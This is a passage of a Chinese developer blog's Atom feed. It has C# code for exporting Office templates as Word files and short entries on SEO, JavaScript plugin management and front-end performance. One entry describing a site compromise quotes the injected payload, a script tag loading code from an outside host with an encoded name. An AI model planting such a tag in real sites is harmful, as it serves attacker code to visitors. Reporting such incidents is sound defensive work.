&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding-left:5px;padding-right:5px;" onclick="cnblogs_code_show('7b90c2da-3b62-4da8-96ee-09b78f8f2b2e')"&gt;&lt;img style="display: none" id="code_img_opened_7b90c2da-3b62-4da8-96ee-09b78f8f2b2e"  onclick="cnblogs_code_hide('7b90c2da-3b62-4da8-96ee-09b78f8f2b2e',event)" src="http://images.cnblogs.com/OutliningIndicators/ExpandedBlockStart.gif"&gt; &#xD;
&lt;div id="cnblogs_code_open_7b90c2da-3b62-4da8-96ee-09b78f8f2b2e" &gt;&#xD;
&lt;div&gt;&lt;!--&lt;br/ /&gt;&lt;br/ /&gt;Code highlighting produced by Actipro CodeHighlighter (freeware)&lt;br/ /&gt;http://www.CodeHighlighter.com/&lt;br/ /&gt;&lt;br/ /&gt;--&gt;&lt;span style="color: #008080"&gt;1&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpContext.Current.Response.AppendHeader(&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #800000"&gt;Content-Disposition&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #800000"&gt;attachment;filename=Word.doc&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #000000"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;2&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpContext.Current.Response.Charset&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000"&gt;=&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #800000"&gt;UTF-8&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #000000"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;3&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpContext.Current.Response.ContentEncoding&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000"&gt;=&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;nbsp;System.Text.Encoding.UTF8;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;4&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpContext.Current.Response.ContentType&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000"&gt;=&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #800000"&gt;text/xml&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #000000"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;5&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpContext.Current.Response.Write(TemplateProcess.Output(MyContext,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #800000"&gt;/layout/include/&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000"&gt;+&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;this&lt;/span&gt;&lt;span style="color: #000000"&gt;.MethodName));&lt;/span&gt;&lt;span style="color: #008000"&gt;//&lt;/span&gt;&lt;span style="color: #008000"&gt;模板处理的office模板文本代码&lt;/span&gt;&lt;span style="color: #008000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;6&lt;/span&gt;&amp;nbsp;&lt;span style="color: #008000"&gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpContext.Current.Response.End();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;span&gt;通过上面形式，就可以把office文件当作文本模板导出office可以正常显示读取的word或excel文件了。&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/netcorner/aggbug/1682436.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/netcorner/archive/2010/03/10/1682436.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/netcorner/archive/2009/12/30/1635963.html</id><title type="text">关于SEO优化方案(网上整理的资料)</title><summary type="text">1.title标签网站标题 一般格式：文章名 &amp;#8211; 分类名 &amp;#8211; 网站名 如果太长的话，就只要文章名 &amp;#8211; 网站名 搜索引擎只考虑标题标签中有限的字数，比如说前十到前十五个字。所以很长的充满关键词的title tag，只能使你的网站看起来更像垃圾。2.meta标签 标题标签不要超过十到十二个字。描述标签也不要超过三十到三十五个字。关键词标签只要列出确实和你的网站有关的...</summary><published>2009-12-30T05:44:00Z</published><updated>2009-12-30T05:44:00Z</updated><author><name>netcorner</name><uri>http://www.cnblogs.com/netcorner/</uri></author><link rel="alternate" href="http://www.cnblogs.com/netcorner/archive/2009/12/30/1635963.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/netcorner/archive/2009/12/30/1635963.html"/></entry><entry><id>http://www.cnblogs.com/netcorner/archive/2009/08/25/1553589.html</id><title type="text">js插件类库组织与管理</title><summary type="text">testjs插件类库组织与管理在开发一个较大规模的网站，js插件类库应用的是相当多。那么自然在一个页面里就存在不少script和script相关的link标记，这样js组织与管理自然成了一大问题。先举个例子，比如jquery插件中的calendar在一个页面中就得有如下代码&amp;lt;style type="text/css"&amp;gt;@import ""script/calendar/jquery.d...</summary><published>2009-08-25T05:53:00Z</published><updated>2009-08-25T05:53:00Z</updated><author><name>netcorner</name><uri>http://www.cnblogs.com/netcorner/</uri></author><link rel="alternate" href="http://www.cnblogs.com/netcorner/archive/2009/08/25/1553589.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/netcorner/archive/2009/08/25/1553589.html"/></entry><entry><id>http://www.cnblogs.com/netcorner/archive/2008/12/29/1364519.html</id><title type="text">关于注入(css/c.js)</title><summary type="text">这几天朋友的网站天天被搞破坏的人恶意注入，也许是程序没写好的原因，数据库每个字段加了一段script（&amp;lt;Script Src=http://%63%2Enuclear3.com/css/c.js&amp;gt;&amp;lt;/Script&amp;gt;，而这个script地址时不时的有变化）。用一些搜索引擎搜索下：/css/c.js&amp;gt;&amp;lt;/Script&amp;gt;，发现好多网站居然都有这个问题。通过iis...</summary><published>2008-12-29T07:03:00Z</published><updated>2008-12-29T07:03:00Z</updated><author><name>netcorner</name><uri>http://www.cnblogs.com/netcorner/</uri></author><link rel="alternate" href="http://www.cnblogs.com/netcorner/archive/2008/12/29/1364519.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/netcorner/archive/2008/12/29/1364519.html"/></entry><entry><id>http://www.cnblogs.com/netcorner/archive/2008/08/04/1259800.html</id><title type="text">Web开发中你注意这些前台开发问题了吗？(前台构架篇)</title><summary type="text">Web2.0带给我们更好的用户体验和更炫更酷的效果，javascript，flash, Silverlight都是跃跃欲试。目前应用最多的还是javascript,所以你会经常看到很多web2.0网站有n多的js和css，这时管理这些文件和如此多的代码怎么提性能提升的问题也来了。以下就来讲讲我目前想到的一些问题吧。 1．js和css引用时如何做到让请求进行并发下载。 我们通过firebug，就会发...</summary><published>2008-08-04T04:35:00Z</published><updated>2008-08-04T04:35:00Z</updated><author><name>netcorner</name><uri>http://www.cnblogs.com/netcorner/</uri></author><link rel="alternate" href="http://www.cnblogs.com/netcorner/archive/2008/08/04/1259800.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/netcorner/archive/2008/08/04/1259800.html"/></entry></feed>
